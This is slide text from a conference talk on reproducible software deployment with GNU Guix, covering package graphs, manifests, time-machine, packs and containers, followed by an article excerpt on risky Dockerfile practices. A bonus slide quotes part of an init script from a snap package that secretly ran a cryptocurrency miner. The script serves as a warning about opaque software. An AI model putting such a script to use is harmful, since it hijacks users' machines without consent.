Environnements logiciels reproductibles et transparents avec GNU Guix

Ludovic Courtès
Inria
Journée recherche SIF, 10 mai 2021
Software Heritage

The ReScience Journal

Guix
HPC = cutting edge?
Here is an example of loading a module on a Linux machine under bash.

% module load gcc/3.1.1
% which gcc
/usr/local/gcc/3.1.1/linux/bin/gcc

Now we'll switch to a different version of the module

% module switch gcc gcc/3.2.0
% which gcc
/usr/local/gcc/3.2.0/linux/bin/gcc
<table>
<thead>
<tr>
<th>Issue Title</th>
<th>Labels</th>
<th>Opened</th>
<th>By</th>
</tr>
</thead>
<tbody>
<tr>
<td>Installation issue: xfd</td>
<td>build-error</td>
<td>18 hours ago</td>
<td>hugy</td>
</tr>
<tr>
<td>Installation issue: openmpii (any version) on mac</td>
<td>build-error</td>
<td>4 days ago</td>
<td>luca-heltai</td>
</tr>
<tr>
<td>Could not install elfutils</td>
<td>build-error</td>
<td>5 days ago</td>
<td>jczhang07</td>
</tr>
<tr>
<td>Installation issue: mumps (serial), error &quot;/bin/sh: line 0: fc: -h: invalid option&quot;</td>
<td>build-error</td>
<td>5 days ago</td>
<td>samfux84</td>
</tr>
<tr>
<td>Spack points to incorrect cray-libsci in LANL environment</td>
<td>build-error</td>
<td>6 days ago</td>
<td>floquet</td>
</tr>
<tr>
<td>Installation issue: range-v3</td>
<td>build-error</td>
<td>6 days ago</td>
<td>chissg</td>
</tr>
<tr>
<td>Installation issue: boost</td>
<td>build-error</td>
<td>7 days ago</td>
<td>abc19899</td>
</tr>
</tbody>
</table>
Luis Pedro Coelho @luispedrocoelho · Jan 22
Me, 6 months ago: I am going to save this conda environment with all the versions of all the packages so it can be recreated later; this is Reproducible Science!

conda, today: these versions don’t work together, lol.
Containers to the rescue?
Containers lack transparency

strawberry?

whale oil?
Bootstrap: library
From: ubuntu:18.04

%setup
   touch /file1
   touch ${SINGULARITY_ROOTFS}/file2

%files
   /file1
   /file1 /opt

%environment
   export LISTEN_PORT=12345
   export LC_ALL=C

%post
   apt-get update && apt-get install -y netcat
   NOW=`date`
   echo "export NOW="${NOW}"" >> $SINGULARITY_ENVIRONMENT

%runscript
   echo "Container was created $NOW"
   echo "Arguments received: $*"
   exec echo "$@"
https://hpc.guix.info
- started in 2012
- $\approx 17,000$ packages, all free software
- 4.5 architectures: x86_64, i686, ARMv7, AArch64, POWER9
- Guix-HPC effort (Inria, MDC, UBC, UTHCS) started in 2017
guix install gcc-toolchain openmpi hwloc

guix package --roll-back

guix environment --ad-hoc \ coq coq-coquelicicot coq-bignum
coreutils@8.32
perl@5.30.2
acl@2.2.53
gmp@6.2.0
libcap@2.31
ggettext-minimal@0.20.1
attr@2.4.48
m4@1.4.18
libunistring@0.9.10
libxml2@2.9.10
ncurses@6.2
xz@5.2.4
zlib@1.2.11
pkg-config@0.29.2

```
guix graph --type=package coreutils
```

14 nodes
Where are GCC, libc, etc.?
What about the compiler’s compiler, etc.?
(too big)

120 nodes

guix graph --type=bag coreutils
$ guix build coq

**isolated build:** chroot, separate name spaces, etc.
$ guix build coq
/gnu/store/ h2g4sf72... -coq-8.11.2

hash of all the dependencies
$ guix build coq
/gnu/store/ h2g4sf72... -coq-8.11.2

$ guix gc --references /gnu/store/...-coq-8.11.2
/gnu/store/01b4w3m6mp55y531kyi1g8shh722kwqm-gcc-7.5.0-lib
/gnu/store/21kqjg1i5nxqib0pzvnj54vrrc6hadqn-ocaml-4.11.1
/gnu/store/3yj4wqiydq9vmqvwg291fhb3n7rpb3j3-ocaml-findlib-1
/gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31
...
$ guix build coq
/gnu/store/ h2g4sf72... -coq-8.11.2

$ guix gc --references /gnu/store/...-coq-8.11.2
/gnu/store/01b4w3m6mp55y531kyi1g8shh722kwqm-gcc-7.5.0-lib
/gnu/store/21kqjg1i5nxqib0pzvnj54vrrc6hadqn-ocaml-4.11.1
/gnu/store/3yj4wqiydq9vmqvwg291fhb3n7rpb3j3-ocaml-findlib-1
/gnu/store/fa6wj5bxkj5ll1d7292a70knmyl7a0cr-glibc-2.31
...

(nearly) bit-identical for everyone
guix package --manifest=my-packages.scm

(specifications->manifest
  '(
    "gcc-toolchain" "openmpi"
    "scotch" "mumps")
)
bob@laptop$ guix package --manifest=my-packages.scm
bob@laptop$ guix describe
guix cabba9e
  repository URL: https://git.sv.gnu.org/git/guix.git
  commit: cabba9e15900d20927c1f69c6c87d7d2a62040fe
bob@laptop$ guix package --manifest=my-packages.scm

bob@laptop$ guix describe

guix cabba9e

repository URL: https://git.savannah.gnu.org/git/guix.git
commit: cabba9e15900d20927c1f69c6c87d7d2a62040fe

alice@supercomp$ guix pull --commit=cabba9e

alice@supercomp$ guix package --manifest=my-packages.scm
travel in space and time!
guix time-machine --commit=cabba9e -- \ install hello
(define pastix
  (package
    (name "pastix")
    (home-page "https://gitlab.inria.fr/solverstack/pastix")
    (source (origin
              (method git-fetch)
              (uri (git-reference
                    (url home-page)
                    (commit "2f30ff07a")
                    (recursive? #t)))
              (sha256
              (base32
                "106rf402cvfdhc2yf..."熨)))))
...))
(define pastix
  (package
    (name "pastix")
    (home-page "https://gitlab.inria.fr/solverstack/pastix")
    (source (origin
      (method git-fetch)
      (uri (git-reference
        (url home-page)
        (commit "2f30ff07a")
        (recursive? #t))))
      (sha256
        (base32
          "106rf402cvfdhc2yf..."))))
...))

$ guix pack \\
    python python-numpy python-scipy
...
/gnu/store/...-pack.tar.gz
$ guix pack --relocatable \ 
   python python-numpy python-scipy 
...
/gnu/store/...-pack.tar.gz
$ guix pack --format=squashfs \
  python python-numpy python-scipy
...
/gnu/store/...-singularity-image.tar.gz
$ guix pack --format=docker \ python python-numpy python-scipy ... /gnu/store/...-docker-image.tar.gz
LOL
Reproducible deployment is the key.
Guix Workflow Language

Initial dataset

Workflow

Undeniable proof

https://www.guixwl.org/
Guix + jupyter

https://hpc.guix.info/blog/2019/10/towards-reproducible-jupyter-notebooks
Preparing environment matplotlib-env with these packages:

- python-ipykernel 5.1.1
- python-ipywidgets 5.2.2
- python-matplotlib 3.1.1

Running Python 3 kernel.

```python
%matplotlib inline
from matplotlib import pyplot as plt
import style
import random
x = random.sample(range(1, 5000), 1000)
num_bins = 100
n, bins, patches = plt.hist(x, num_bins, facecolor='green', alpha=0.5)
plt.title('Histogram Example')
plt.xlabel('Values')
plt.ylabel('Counts')
plt.show()
```
Ten Years Reproducibility Challenge

Would you dare to run the code from your past self?
(the one that does not answer mail)
This article reports on the effort to reproduce the results shown in Storage Tradeoffs in a Collaborative Backup Service for Mobile Devices\textsuperscript{1}, an article published in 2006, more than thirteen years ago. The article presented the design of the storage layer of such a backup service. It included an evaluation of the efficiency and performance of several storage pipelines, which is the experiment we replicate here.

Additionally, this article describes a way to capture the complete dependency graph of this article and the software and data it refers to, making it fully reproducible, end to end. Using GNU Guix\textsuperscript{2}, we bridge together code that deploys the software evaluated in the paper, scripts that run the evaluation and produce plots, and scripts that produce the final PDF file from \LaTeX source and plots. The end result—and the major contribution of this article—is approximately 400 lines of code that allow Guix to rebuild the whole article and the experiment it depends on with a well-specified, reproducible software environment.
Wrap-up.
package

environments

containers

systems
Let’s add reproducible deployment to our best practices book.
Bonus slides!
Figure 11: Study result. Blue numbers represent papers that were excluded from consideration, green numbers papers that are weakly repeatable, red numbers papers that are non-weakly repeatable, and orange numbers represent papers that were excluded (due to our restriction of sending at most one email to each author).
guix pack hwloc \n   --with-source=./hwloc-2.1rc1.tar.gz

guix install mumps \n   --with-input=scotch=pt-scotch
This application contains hidden crypto-currency miner inside.

- squashfs-root/systemd - miner
- squashfs-root/start - init script:

```bash
#!/bin/bash

currency=bcn
name=2048buntu

{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
} || { # catch
cores=$(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
```
So he looked at the Docker equivalent of "hello, world"; he used Debian as the base and had it run the `echo` command for the string "Hello LLW2018". Running it in Docker gave the string as expected, but digging around under the hood was rather eye-opening. In order to make that run, the image contained 81 separate packages, "just to say 'hi'". It contains Bash, forty different libraries of various kinds including some for C++, and so on, he said. Beyond that, there is support for SELinux and audit, so the container must be "extremely secure in how it prints 'hello world'".

In reality, most containers are far more complex, of course. For example, it is fairly common for Dockerfiles to `wget` a binary of gosu ("Simple Go-based setuid+setgid+setgroups+exec") to install it. This is bad from a security perspective, but worse from a compliance perspective, Hohndel said.

People do "incredibly dumb stuff" in their Dockerfiles, including adding new repositories with higher priorities than the standard distribution repositories, then doing an update. That means the standard packages might be replaced with others from elsewhere. Once again, that is a security nightmare, but it may also mean that there is no source code available and/or that the license information is missing. This is not something he made up, he said, if you look at the Docker repositories, you will see this kind of thing all over; many will just copy their Dockerfiles from elsewhere.

Even the standard practices are somewhat questionable. Specifying "debian:stable" as the base could change what gets built between two runs. Updating to the latest packages (e.g. using "apt-get update") is good for the security of the system, but it means that you may get different package versions every time you rebuild. Information on versions can be extracted from the package database on most builds, though there are "pico containers" that remove that database in order to save space—making it impossible to know what is present in the image.